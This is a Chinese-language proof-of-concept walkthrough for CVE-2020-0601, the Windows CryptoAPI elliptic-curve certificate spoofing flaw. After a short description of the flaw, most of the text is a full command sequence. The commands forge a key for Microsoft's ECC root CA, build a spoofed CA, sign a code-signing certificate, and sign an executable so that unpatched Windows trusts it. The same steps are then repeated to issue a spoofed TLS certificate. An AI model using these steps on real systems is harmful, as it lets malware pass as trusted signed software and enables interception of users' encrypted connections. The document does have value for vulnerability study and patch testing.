CVE-2020-0601 PoC CryptoAPI漏洞利用

近日NSA随手丢出的“王炸”在安全业内引起一片哗然，消息发布后没两天各种poc也是层出不穷。该漏洞位于Windows CryptoAPI(Crypt32.dll)验证椭圆曲线加密算法证书的方式，可能影响信任的一些实例包括（不限于）：HTTPS连接、文件签名和电子邮件签名、以用户模式启动的签名可执行程序。
此外，该漏洞可以让攻击者伪造代码签名证书对恶意可执行文件进行签名，使文件看似来自可信的来源。例如，可以让勒索软件或其他间谍软件拥有看似有效的证书，从而促使用户安装。中间人攻击并解密用户连接到受影响软件的机密信息也是主要的攻击场景之一。

最小版本需要openssl 1.1.0 ruby 2.4.0

代码签名

首先从CA中抽取公钥，并且利用该漏洞修改这个key

ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

将生成的key保存到文件spoofed_ca.key，然后基于这个key生成一个新的x509证书，这也就是我们的仿冒CA

openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

生成一个新的key，格式可以根据需要自己选择，这里需要生成一个用于代码签名的证书

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

下一步，生成一个新的证书签名请求(CSR)，这个请求通常会发送给受信任的CA，但是因为前面我们生成的假冒的CA，所以这里我们可以自己对他签名

openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

使用仿冒的CA和CA key对CSR签名，这个证书有效期到2047年，而实际上真正的微软CA有效期到2043年

openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

将仿冒CA和我们生成的key打包保存到一个PKCS12文件，用于PE的签名

openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

最后，利用前面生成的证书对PE文件签名即可

osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in test-x64.exe -out test_signed.exe

最后验证一下效果，在未打补丁的win10机器上查看PE文件属性，发现文件的签名是可信的

之后我们安装微软发布的月度安全补丁，再查看结果，展示如下，文件的签名提示为不可信

SSL/TLS

前面的步骤基本一样，区别在于生成签名证书的时候格式会有差别

ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

将生成的key保存到文件spoofed_ca.key，然后基于这个key生成一个新的x509证书，这也就是我们的仿冒CA

openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

生成一个新的key，格式可以根据需要自己选择，这里需要生成一个用于建立SSL的证书

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls

签发证书

openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls